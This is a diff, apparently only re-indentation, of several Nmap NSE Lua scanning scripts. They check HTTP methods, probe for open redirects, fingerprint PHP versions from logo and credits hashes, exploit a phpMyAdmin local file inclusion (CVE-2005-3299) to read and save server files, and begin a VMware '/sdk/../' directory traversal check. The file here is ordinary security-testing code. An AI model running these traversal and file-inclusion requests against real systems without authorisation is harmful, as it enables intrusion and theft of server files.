|
||||||
-- We don't report these methods except with verbosity.
|
-- We don't report these methods except with verbosity.
|
||||||
local UNINTERESTING_METHODS = {
|
local UNINTERESTING_METHODS = {
|
||||||
"GET", "HEAD", "POST", "OPTIONS"
|
"GET", "HEAD", "POST", "OPTIONS"
|
||||||
}
|
}
|
||||||
|
|
||||||
local filter_out, merge_headers
|
local filter_out, merge_headers
|
||||||
@@ -63,92 +63,92 @@ local filter_out, merge_headers
|
|||||||
portrule = shortport.http
|
portrule = shortport.http
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local url_path, retest_http_methods
|
local url_path, retest_http_methods
|
||||||
local response, methods, options_status_line, output
|
local response, methods, options_status_line, output
|
||||||
|
|
||||||
-- default vaules for script-args
|
-- default vaules for script-args
|
||||||
url_path = stdnse.get_script_args("http-methods.url-path") or "/"
|
url_path = stdnse.get_script_args("http-methods.url-path") or "/"
|
||||||
retest_http_methods = stdnse.get_script_args("http-methods.retest") ~= nil
|
retest_http_methods = stdnse.get_script_args("http-methods.retest") ~= nil
|
||||||
|
|
||||||
response = http.generic_request(host, port, "OPTIONS", url_path)
|
response = http.generic_request(host, port, "OPTIONS", url_path)
|
||||||
if not response.status then
|
if not response.status then
|
||||||
stdnse.print_debug("http-methods: OPTIONS %s failed.", url_path)
|
stdnse.print_debug("http-methods: OPTIONS %s failed.", url_path)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
-- Cache in case retest is requested.
|
-- Cache in case retest is requested.
|
||||||
options_status_line = response["status-line"]
|
options_status_line = response["status-line"]
|
||||||
stdnse.print_debug("http-methods.nse: HTTP Status for OPTIONS is " .. response.status)
|
stdnse.print_debug("http-methods.nse: HTTP Status for OPTIONS is " .. response.status)
|
||||||
|
|
||||||
if not (response.header["allow"] or response.header["public"]) then
|
if not (response.header["allow"] or response.header["public"]) then
|
||||||
return string.format("No Allow or Public header in OPTIONS response (status code %d)", response.status)
|
return string.format("No Allow or Public header in OPTIONS response (status code %d)", response.status)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- The Public header is defined in RFC 2068, but was removed in its
|
-- The Public header is defined in RFC 2068, but was removed in its
|
||||||
-- successor RFC 2616. It is implemented by at least IIS 6.0.
|
-- successor RFC 2616. It is implemented by at least IIS 6.0.
|
||||||
methods = merge_headers(response.header, {"Allow", "Public"})
|
methods = merge_headers(response.header, {"Allow", "Public"})
|
||||||
|
|
||||||
output = {}
|
output = {}
|
||||||
|
|
||||||
if nmap.verbosity() > 0 then
|
if nmap.verbosity() > 0 then
|
||||||
output[#output + 1] = stdnse.strjoin(" ", methods)
|
output[#output + 1] = stdnse.strjoin(" ", methods)
|
||||||
end
|
end
|
||||||
|
|
||||||
local interesting = filter_out(methods, UNINTERESTING_METHODS)
|
local interesting = filter_out(methods, UNINTERESTING_METHODS)
|
||||||
if #interesting > 0 then
|
if #interesting > 0 then
|
||||||
output[#output + 1] = "Potentially risky methods: " .. stdnse.strjoin(" ", interesting)
|
output[#output + 1] = "Potentially risky methods: " .. stdnse.strjoin(" ", interesting)
|
||||||
output[#output + 1] = "See http://nmap.org/nsedoc/scripts/http-methods.html"
|
output[#output + 1] = "See http://nmap.org/nsedoc/scripts/http-methods.html"
|
||||||
end
|
end
|
||||||
|
|
||||||
-- retest http methods if requested
|
-- retest http methods if requested
|
||||||
if retest_http_methods then
|
if retest_http_methods then
|
||||||
local _
|
local _
|
||||||
for _, method in ipairs(methods) do
|
for _, method in ipairs(methods) do
|
||||||
local str
|
local str
|
||||||
if method == "OPTIONS" then
|
if method == "OPTIONS" then
|
||||||
-- Use the saved value.
|
-- Use the saved value.
|
||||||
str = options_status_line
|
str = options_status_line
|
||||||
else
|
else
|
||||||
response = http.generic_request(host, port, method, url_path)
|
response = http.generic_request(host, port, method, url_path)
|
||||||
if not response.status then
|
if not response.status then
|
||||||
str = "Error getting response"
|
str = "Error getting response"
|
||||||
else
|
else
|
||||||
str = response["status-line"]
|
str = response["status-line"]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
output[#output + 1] = string.format("%s %s -> %s", method, url_path, str)
|
output[#output + 1] = string.format("%s %s -> %s", method, url_path, str)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return #output > 0 and stdnse.strjoin("\n", output) or nil
|
return #output > 0 and stdnse.strjoin("\n", output) or nil
|
||||||
end
|
end
|
||||||
|
|
||||||
function filter_out(t, filter)
|
function filter_out(t, filter)
|
||||||
local result = {}
|
local result = {}
|
||||||
local _, e, f
|
local _, e, f
|
||||||
for _, e in ipairs(t) do
|
for _, e in ipairs(t) do
|
||||||
if not stdnse.contains(filter, e) then
|
if not stdnse.contains(filter, e) then
|
||||||
result[#result + 1] = e
|
result[#result + 1] = e
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Split header field contents on commas and return a table without duplicates.
|
-- Split header field contents on commas and return a table without duplicates.
|
||||||
function merge_headers(headers, names)
|
function merge_headers(headers, names)
|
||||||
local seen = {}
|
local seen = {}
|
||||||
local result = {}
|
local result = {}
|
||||||
|
|
||||||
for _, name in ipairs(names) do
|
for _, name in ipairs(names) do
|
||||||
name = string.lower(name)
|
name = string.lower(name)
|
||||||
if headers[name] then
|
if headers[name] then
|
||||||
for _, v in ipairs(stdnse.strsplit(",%s*", headers[name])) do
|
for _, v in ipairs(stdnse.strsplit(",%s*", headers[name])) do
|
||||||
if not seen[v] then
|
if not seen[v] then
|
||||||
result[#result + 1] = v
|
result[#result + 1] = v
|
||||||
end
|
end
|
||||||
seen[v] = true
|
seen[v] = true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -44,94 +44,94 @@ categories = {"discovery", "intrusive"}
|
|||||||
portrule = shortport.http
|
portrule = shortport.http
|
||||||
|
|
||||||
local function dbg(str,...)
|
local function dbg(str,...)
|
||||||
stdnse.print_debug(2,"http-open-redirect:"..str, ...)
|
stdnse.print_debug(2,"http-open-redirect:"..str, ...)
|
||||||
end
|
end
|
||||||
local function dbgt(tbl)
|
local function dbgt(tbl)
|
||||||
for k,v in pairs(tbl) do
|
for k,v in pairs(tbl) do
|
||||||
dbg(" %s = %s " , tostring(k), tostring(v))
|
dbg(" %s = %s " , tostring(k), tostring(v))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local function getHostPort(parsed)
|
local function getHostPort(parsed)
|
||||||
local host, port = parsed.host, parsed.port
|
local host, port = parsed.host, parsed.port
|
||||||
-- if no port was found, try to deduce it from the scheme
|
-- if no port was found, try to deduce it from the scheme
|
||||||
if ( not(port) ) then
|
if ( not(port) ) then
|
||||||
port = (parsed.scheme == 'https') and 443
|
port = (parsed.scheme == 'https') and 443
|
||||||
port = port or ((parsed.scheme == 'http') and 80)
|
port = port or ((parsed.scheme == 'http') and 80)
|
||||||
end
|
end
|
||||||
return host, port
|
return host, port
|
||||||
end
|
end
|
||||||
|
|
||||||
local function isRedirect(status)
|
local function isRedirect(status)
|
||||||
return status >= 300 and status <=399
|
return status >= 300 and status <=399
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
-- This function checks if any query parameter was used as a forward destination
|
-- This function checks if any query parameter was used as a forward destination
|
||||||
-- @return false or a new query string to test
|
-- @return false or a new query string to test
|
||||||
local function checkLocationEcho(query, destination)
|
local function checkLocationEcho(query, destination)
|
||||||
dbg("checkLocationEcho(%s, %s)", tostring(query), tostring(destination))
|
dbg("checkLocationEcho(%s, %s)", tostring(query), tostring(destination))
|
||||||
local q = url.parse_query(query);
|
local q = url.parse_query(query);
|
||||||
-- Check the values (and keys) and see if they are reflected in the location header
|
-- Check the values (and keys) and see if they are reflected in the location header
|
||||||
for k,v in pairs(q) do
|
for k,v in pairs(q) do
|
||||||
local s,f = string.find(destination, v)
|
local s,f = string.find(destination, v)
|
||||||
if s == 1 then
|
if s == 1 then
|
||||||
-- Build a new URL
|
-- Build a new URL
|
||||||
q[k] = "http%3A%2f%2fscanme.nmap.org%2f";
|
q[k] = "http%3A%2f%2fscanme.nmap.org%2f";
|
||||||
return url.build_query(q)
|
return url.build_query(q)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return false;
|
return false;
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME, redirect_ok = false } )
|
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME, redirect_ok = false } )
|
||||||
crawler:set_timeout(10000)
|
crawler:set_timeout(10000)
|
||||||
|
|
||||||
local results = {}
|
local results = {}
|
||||||
while(true) do
|
while(true) do
|
||||||
local status, r = crawler:crawl()
|
local status, r = crawler:crawl()
|
||||||
-- if the crawler fails it can be due to a number of different reasons
|
-- if the crawler fails it can be due to a number of different reasons
|
||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
local response = r.response
|
local response = r.response
|
||||||
-- Was it a redirect?
|
-- Was it a redirect?
|
||||||
if response and response.header and response.header.location and isRedirect(response.status) then
|
if response and response.header and response.header.location and isRedirect(response.status) then
|
||||||
-- Were any parameters involved?
|
-- Were any parameters involved?
|
||||||
local parsed = url.parse(tostring(r.url));
|
local parsed = url.parse(tostring(r.url));
|
||||||
|
|
||||||
-- We are only interested in links which have parameters
|
-- We are only interested in links which have parameters
|
||||||
if parsed.query and #parsed.query > 0 then
|
if parsed.query and #parsed.query > 0 then
|
||||||
-- Now we need to check if any of the parameters were echoed in the location-header
|
-- Now we need to check if any of the parameters were echoed in the location-header
|
||||||
local destination = response.header.location
|
local destination = response.header.location
|
||||||
local newQuery = checkLocationEcho(parsed.query, destination)
|
local newQuery = checkLocationEcho(parsed.query, destination)
|
||||||
--dbg("newQuery: %s" , tostring(newQuery))
|
--dbg("newQuery: %s" , tostring(newQuery))
|
||||||
if newQuery then
|
if newQuery then
|
||||||
local host, port = getHostPort(parsed);
|
local host, port = getHostPort(parsed);
|
||||||
local ppath = url.parse_path(parsed.path or "")
|
local ppath = url.parse_path(parsed.path or "")
|
||||||
local url = url.build_path(ppath)
|
local url = url.build_path(ppath)
|
||||||
if parsed.params then url = url .. ";" .. parsed.params end
|
if parsed.params then url = url .. ";" .. parsed.params end
|
||||||
url = url .. "?" .. newQuery
|
url = url .. "?" .. newQuery
|
||||||
dbg("Checking potential open redirect: %s:%s%s", host,port,url);
|
dbg("Checking potential open redirect: %s:%s%s", host,port,url);
|
||||||
local testResponse = http.get(host, port, url);
|
local testResponse = http.get(host, port, url);
|
||||||
--dbgt(testResponse)
|
--dbgt(testResponse)
|
||||||
if isRedirect(testResponse.status) and testResponse.header.location == "http://scanme.nmap.org/" then
|
if isRedirect(testResponse.status) and testResponse.header.location == "http://scanme.nmap.org/" then
|
||||||
table.insert(results, ("%s://%s:%s%s"):format(parsed.scheme, host, port,url))
|
table.insert(results, ("%s://%s:%s%s"):format(parsed.scheme, host, port,url))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
if ( #results> 0 ) then
|
if ( #results> 0 ) then
|
||||||
return stdnse.format_output(true, results)
|
return stdnse.format_output(true, results)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -48,100 +48,100 @@ local CREDITS_QUERY = "/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"
|
|||||||
-- http://seclists.org/nmap-dev/2010/q4/518
|
-- http://seclists.org/nmap-dev/2010/q4/518
|
||||||
|
|
||||||
local LOGO_HASHES = {
|
local LOGO_HASHES = {
|
||||||
-- Bunny (Carmella)
|
-- Bunny (Carmella)
|
||||||
["37e194b799d4aaff10e39c4e3b2679a2"] = {"5.0.0 - 5.0.3"},
|
["37e194b799d4aaff10e39c4e3b2679a2"] = {"5.0.0 - 5.0.3"},
|
||||||
-- Black Scottish Terrier (Scotch)
|
-- Black Scottish Terrier (Scotch)
|
||||||
["4b2c92409cf0bcf465d199e93a15ac3f"] = {"4.3.11", "4.4.0 - 4.4.9", "5.0.4 - 5.0.5", "5.1.0 - 5.1.2"},
|
["4b2c92409cf0bcf465d199e93a15ac3f"] = {"4.3.11", "4.4.0 - 4.4.9", "5.0.4 - 5.0.5", "5.1.0 - 5.1.2"},
|
||||||
-- Colored
|
-- Colored
|
||||||
["50caaf268b4f3d260d720a1a29c5fe21"] = {"5.1.3 - 5.1.6", "5.2.0 - 5.2.17"},
|
["50caaf268b4f3d260d720a1a29c5fe21"] = {"5.1.3 - 5.1.6", "5.2.0 - 5.2.17"},
|
||||||
-- PHP Code Guy With Breadsticks (Thies C. Arntzen)
|
-- PHP Code Guy With Breadsticks (Thies C. Arntzen)
|
||||||
["85be3b4be7bfe839cbb3b4f2d30ff983"] = {"4.0.0 - 4.2.3"},
|
["85be3b4be7bfe839cbb3b4f2d30ff983"] = {"4.0.0 - 4.2.3"},
|
||||||
-- Brown Dog In Grass (Nadia)
|
-- Brown Dog In Grass (Nadia)
|
||||||
["a57bd73e27be03a62dd6b3e1b537a72c"] = {"4.3.0 - 4.3.10"},
|
["a57bd73e27be03a62dd6b3e1b537a72c"] = {"4.3.0 - 4.3.10"},
|
||||||
-- Elephant
|
-- Elephant
|
||||||
["fb3bbd9ccc4b3d9e0b3be89c5ff98a14"] = {"5.3.0 - 5.3.18", "5.4.0 - 5.4.8"},
|
["fb3bbd9ccc4b3d9e0b3be89c5ff98a14"] = {"5.3.0 - 5.3.18", "5.4.0 - 5.4.8"},
|
||||||
}
|
}
|
||||||
|
|
||||||
local CREDITS_HASHES = {
|
local CREDITS_HASHES = {
|
||||||
["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"5.2.6"},
|
["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"5.2.6"},
|
||||||
["1ffc970c5eae684bebc0e0133c4e1f01"] = {"5.2.8"},
|
["1ffc970c5eae684bebc0e0133c4e1f01"] = {"5.2.8"},
|
||||||
["23f183b78eb4e3ba8b3df13f0a15e5de"] = {"5.3.9 - 5.3.18"},
|
["23f183b78eb4e3ba8b3df13f0a15e5de"] = {"5.3.9 - 5.3.18"},
|
||||||
["2e7f5372931a7f6f86786e95871ac947"] = {"5.3.6"},
|
["2e7f5372931a7f6f86786e95871ac947"] = {"5.3.6"},
|
||||||
["3422eded2fcceb3c89cabb5156b5d4e2"] = {"4.2.3"},
|
["3422eded2fcceb3c89cabb5156b5d4e2"] = {"4.2.3"},
|
||||||
["3c31e4674f42a49108b5300f8e73be26"] = {"5.0.0 - 5.0.5"},
|
["3c31e4674f42a49108b5300f8e73be26"] = {"5.0.0 - 5.0.5"},
|
||||||
["50ac182f03fc56a719a41fc1786d937d"] = {"4.3.11", "4.4.0 - 4.4.4", "4.4.9", "5.0.5-2ubuntu1.1", "5.0.5-pl3-gentoo", "5.1.0 - 5.1.2"},
|
["50ac182f03fc56a719a41fc1786d937d"] = {"4.3.11", "4.4.0 - 4.4.4", "4.4.9", "5.0.5-2ubuntu1.1", "5.0.5-pl3-gentoo", "5.1.0 - 5.1.2"},
|
||||||
["54f426521bf61f2d95c8bfaa13857c51"] = {"5.1.4", "5.2.9 - 5.2.14"},
|
["54f426521bf61f2d95c8bfaa13857c51"] = {"5.1.4", "5.2.9 - 5.2.14"},
|
||||||
["5518a02af41478cfc492c930ace45ae5"] = {"5.1.0 - 5.1.1"},
|
["5518a02af41478cfc492c930ace45ae5"] = {"5.1.0 - 5.1.1"},
|
||||||
["55bc081f2d460b8e6eb326a953c0e71e"] = {"4.4.1"},
|
["55bc081f2d460b8e6eb326a953c0e71e"] = {"4.4.1"},
|
||||||
["56f9383587ebcc94558e11ec08584f05"] = {"5.2.2"},
|
["56f9383587ebcc94558e11ec08584f05"] = {"5.2.2"},
|
||||||
["692a87ca2c51523c17f597253653c777"] = {"4.4.6-0.dotdeb.2"},
|
["692a87ca2c51523c17f597253653c777"] = {"4.4.6-0.dotdeb.2"},
|
||||||
["6a1c211f27330f1ab602c7c574f3a279"] = {"5.2.0"},
|
["6a1c211f27330f1ab602c7c574f3a279"] = {"5.2.0"},
|
||||||
["6be3565cdd38e717e4eb96868d9be141"] = {"5.0.5"},
|
["6be3565cdd38e717e4eb96868d9be141"] = {"5.0.5"},
|
||||||
["6cb0a5ba2d88f9d6c5c9e144dd5941a6"] = {"5.1.2"},
|
["6cb0a5ba2d88f9d6c5c9e144dd5941a6"] = {"5.1.2"},
|
||||||
["744aecef04f9ed1bc39ae773c40017d1"] = {"4.0.1pl2", "4.1.2", "4.2.2"},
|
["744aecef04f9ed1bc39ae773c40017d1"] = {"4.0.1pl2", "4.1.2", "4.2.2"},
|
||||||
["82fa2d6aa15f971f7dadefe4f2ac20e3"] = {"5.1.3 - 5.1.6"},
|
["82fa2d6aa15f971f7dadefe4f2ac20e3"] = {"5.1.3 - 5.1.6"},
|
||||||
["85da0a620fabe694dab1d55cbf1e24c3"] = {"5.4.0 - 5.4.7"},
|
["85da0a620fabe694dab1d55cbf1e24c3"] = {"5.4.0 - 5.4.7"},
|
||||||
["8a4a61f60025b43f11a7c998f02b1902"] = {"4.3.4"},
|
["8a4a61f60025b43f11a7c998f02b1902"] = {"4.3.4"},
|
||||||
["8fbf48d5a2a64065fc26db3e890b9871"] = {"4.3.10"},
|
["8fbf48d5a2a64065fc26db3e890b9871"] = {"4.3.10"},
|
||||||
["913ec921cf487109084a518f91e70859"] = {"4.3.2 - 4.3.3", "4.3.6", "4.3.8 - 4.3.10"},
|
["913ec921cf487109084a518f91e70859"] = {"4.3.2 - 4.3.3", "4.3.6", "4.3.8 - 4.3.10"},
|
||||||
["adb361b9255c1e5275e5bd6e2907c5fb"] = {"5.2.15 - 5.2.17"},
|
["adb361b9255c1e5275e5bd6e2907c5fb"] = {"5.2.15 - 5.2.17"},
|
||||||
["a4c057b11fa0fba98c8e26cd7bb762a8"] = {"5.3.1 - 5.3.2"},
|
["a4c057b11fa0fba98c8e26cd7bb762a8"] = {"5.3.1 - 5.3.2"},
|
||||||
["b34501471d51cebafacdd45bf2cd545d"] = {"5.3.3"},
|
["b34501471d51cebafacdd45bf2cd545d"] = {"5.3.3"},
|
||||||
["bed7ceff09e9666d96fdf3518af78e0e"] = {"4.4.2 - 4.4.4"},
|
["bed7ceff09e9666d96fdf3518af78e0e"] = {"4.4.2 - 4.4.4"},
|
||||||
["c37c96e8728dc959c55219d47f2d543f"] = {"5.2.3 - 5.2.5"},
|
["c37c96e8728dc959c55219d47f2d543f"] = {"5.2.3 - 5.2.5"},
|
||||||
["d3894e19233d979db07d623f608b6ece"] = {"5.2.1"},
|
["d3894e19233d979db07d623f608b6ece"] = {"5.2.1"},
|
||||||
["db23b07a9b426d0d033565b878b1e384"] = {"5.3.0"},
|
["db23b07a9b426d0d033565b878b1e384"] = {"5.3.0"},
|
||||||
["e3b18899d0ffdf8322ed18d7bce3c9a0"] = {"5.3.4 - 5.3.5"},
|
["e3b18899d0ffdf8322ed18d7bce3c9a0"] = {"5.3.4 - 5.3.5"},
|
||||||
["e54dbf41d985bfbfa316dba207ad6bce"] = {"5.0.0"},
|
["e54dbf41d985bfbfa316dba207ad6bce"] = {"5.0.0"},
|
||||||
["ebf6d0333d67af5f80077438c45c8eaa"] = {"5.4.8"},
|
["ebf6d0333d67af5f80077438c45c8eaa"] = {"5.4.8"},
|
||||||
["f1f1f60ac0dcd700a1ad30aa81175d34"] = {"5.3.7 - 5.3.8"},
|
["f1f1f60ac0dcd700a1ad30aa81175d34"] = {"5.3.7 - 5.3.8"},
|
||||||
}
|
}
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local response
|
local response
|
||||||
local logo_versions, credits_versions
|
local logo_versions, credits_versions
|
||||||
local logo_hash, credits_hash
|
local logo_hash, credits_hash
|
||||||
local header_name, header_value
|
local header_name, header_value
|
||||||
local lines
|
local lines
|
||||||
|
|
||||||
-- 1st pass : the "special" PHP-logo test
|
-- 1st pass : the "special" PHP-logo test
|
||||||
response = http.get(host, port, LOGO_QUERY)
|
response = http.get(host, port, LOGO_QUERY)
|
||||||
if response.body and response.status == 200 then
|
if response.body and response.status == 200 then
|
||||||
logo_hash = stdnse.tohex(openssl.md5(response.body))
|
logo_hash = stdnse.tohex(openssl.md5(response.body))
|
||||||
logo_versions = LOGO_HASHES[logo_hash]
|
logo_versions = LOGO_HASHES[logo_hash]
|
||||||
end
|
end
|
||||||
|
|
||||||
-- 2nd pass : the PHP-credits test
|
-- 2nd pass : the PHP-credits test
|
||||||
response = http.get(host, port, CREDITS_QUERY)
|
response = http.get(host, port, CREDITS_QUERY)
|
||||||
if response.body and response.status == 200 then
|
if response.body and response.status == 200 then
|
||||||
credits_hash = stdnse.tohex(openssl.md5(response.body))
|
credits_hash = stdnse.tohex(openssl.md5(response.body))
|
||||||
credits_versions = CREDITS_HASHES[credits_hash]
|
credits_versions = CREDITS_HASHES[credits_hash]
|
||||||
end
|
end
|
||||||
|
|
||||||
for name, value in pairs(response.header) do
|
for name, value in pairs(response.header) do
|
||||||
if string.match(value, "^PHP/") then
|
if string.match(value, "^PHP/") then
|
||||||
header_name = name
|
header_name = name
|
||||||
header_value = value
|
header_value = value
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
lines = {}
|
lines = {}
|
||||||
if logo_versions then
|
if logo_versions then
|
||||||
lines[#lines + 1] = "Versions from logo query (less accurate): " .. stdnse.strjoin(", ", logo_versions)
|
lines[#lines + 1] = "Versions from logo query (less accurate): " .. stdnse.strjoin(", ", logo_versions)
|
||||||
elseif logo_hash and nmap.verbosity() >= 2 then
|
elseif logo_hash and nmap.verbosity() >= 2 then
|
||||||
lines[#lines + 1] = "Logo query returned unknown hash " .. logo_hash
|
lines[#lines + 1] = "Logo query returned unknown hash " .. logo_hash
|
||||||
end
|
end
|
||||||
if credits_versions then
|
if credits_versions then
|
||||||
lines[#lines + 1] = "Versions from credits query (more accurate): " .. stdnse.strjoin(", ", credits_versions)
|
lines[#lines + 1] = "Versions from credits query (more accurate): " .. stdnse.strjoin(", ", credits_versions)
|
||||||
elseif credits_hash and nmap.verbosity() >= 2 then
|
elseif credits_hash and nmap.verbosity() >= 2 then
|
||||||
lines[#lines + 1] = "Credits query returned unknown hash " .. credits_hash
|
lines[#lines + 1] = "Credits query returned unknown hash " .. credits_hash
|
||||||
end
|
end
|
||||||
if header_name and header_value then
|
if header_name and header_value then
|
||||||
lines[#lines + 1] = "Version from header " .. header_name .. ": " .. header_value
|
lines[#lines + 1] = "Version from header " .. header_name .. ": " .. header_value
|
||||||
end
|
end
|
||||||
|
|
||||||
if #lines > 0 then
|
if #lines > 0 then
|
||||||
return stdnse.strjoin("\n", lines)
|
return stdnse.strjoin("\n", lines)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -94,49 +94,49 @@ local DEFAULT_DIR = "/phpMyAdmin-2.6.4-pl1/"
|
|||||||
local EXPLOIT_PATH = "libraries/grab_globals.lib.php"
|
local EXPLOIT_PATH = "libraries/grab_globals.lib.php"
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR
|
local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR
|
||||||
local evil_uri = dir..EXPLOIT_PATH
|
local evil_uri = dir..EXPLOIT_PATH
|
||||||
local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE
|
local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE
|
||||||
local evil_postdata = EXPLOIT_QUERY:format(rfile)
|
local evil_postdata = EXPLOIT_QUERY:format(rfile)
|
||||||
local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile")
|
local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile")
|
||||||
stdnse.print_debug(1, "%s: HTTP POST %s%s", SCRIPT_NAME, stdnse.get_hostname(host), evil_uri)
|
stdnse.print_debug(1, "%s: HTTP POST %s%s", SCRIPT_NAME, stdnse.get_hostname(host), evil_uri)
|
||||||
stdnse.print_debug(1, "%s: POST DATA %s", SCRIPT_NAME, evil_postdata)
|
stdnse.print_debug(1, "%s: POST DATA %s", SCRIPT_NAME, evil_postdata)
|
||||||
|
|
||||||
local vuln = {
|
local vuln = {
|
||||||
title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion',
|
title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion',
|
||||||
IDS = {CVE = 'CVE-2005-3299'},
|
IDS = {CVE = 'CVE-2005-3299'},
|
||||||
state = vulns.STATE.NOT_VULN,
|
state = vulns.STATE.NOT_VULN,
|
||||||
description =
|
description =
|
||||||
[[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
|
[[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
|
||||||
]],
|
]],
|
||||||
references = {
|
references = {
|
||||||
'http://www.exploit-db.com/exploits/1244/',
|
'http://www.exploit-db.com/exploits/1244/',
|
||||||
},
|
},
|
||||||
dates = {
|
dates = {
|
||||||
disclosure = {year = '2005', month = '10', dat = '10'},
|
disclosure = {year = '2005', month = '10', dat = '10'},
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||||
|
|
||||||
local response = http.post(host, port, evil_uri,
|
local response = http.post(host, port, evil_uri,
|
||||||
{header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata)
|
{header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata)
|
||||||
if response.body and response.status==200 then
|
if response.body and response.status==200 then
|
||||||
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
|
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
|
||||||
vuln.state = vulns.STATE.EXPLOIT
|
vuln.state = vulns.STATE.EXPLOIT
|
||||||
vuln.extra_info = rfile.." :\n"..response.body
|
vuln.extra_info = rfile.." :\n"..response.body
|
||||||
if filewrite then
|
if filewrite then
|
||||||
local status, err = write_file(filewrite, response.body)
|
local status, err = write_file(filewrite, response.body)
|
||||||
if status then
|
if status then
|
||||||
vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite)
|
vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite)
|
||||||
else
|
else
|
||||||
vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err)
|
vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
elseif response.status==500 then
|
elseif response.status==500 then
|
||||||
vuln.state = vulns.STATE.LIKELY_VULN
|
vuln.state = vulns.STATE.LIKELY_VULN
|
||||||
stdnse.print_debug(1, "%s:[Error] File not found:%s", SCRIPT_NAME, rfile)
|
stdnse.print_debug(1, "%s:[Error] File not found:%s", SCRIPT_NAME, rfile)
|
||||||
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
|
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
|
||||||
vuln.extra_info = string.format("%s not found.\n", rfile)
|
vuln.extra_info = string.format("%s not found.\n", rfile)
|
||||||
end
|
end
|
||||||
return vuln_report:make_output(vuln)
|
return vuln_report:make_output(vuln)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -35,45 +35,45 @@ categories = {"vuln", "safe"}
|
|||||||
portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"})
|
portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"})
|
||||||
|
|
||||||
local function get_file(host, port, path)
|
local function get_file(host, port, path)
|
||||||
local file
|
local file
|
||||||
|
|
||||||
-- Replace spaces in the path with %20
|
-- Replace spaces in the path with %20
|
||||||
path = string.gsub(path, " ", "%%20")
|
path = string.gsub(path, " ", "%%20")
|
||||||
|
|
||||||
-- Try both ../ and %2E%2E/
|
-- Try both ../ and %2E%2E/
|
||||||
file = "/sdk/../../../../../../" .. path
|
file = "/sdk/../../../../../../" .. path
|
||||||
|
|
||||||
local result = http.get( host, port, file)
|
local result = http.get( host, port, file)
|
||||||
if(result['status'] ~= 200 or result['content-length'] == 0) then
|
if(result['status'] ~= 200 or result['content-length'] == 0) then
|
||||||
file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path
|
file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path
|
||||||
result = http.get( host, port, file)
|
result = http.get( host, port, file)
|
||||||
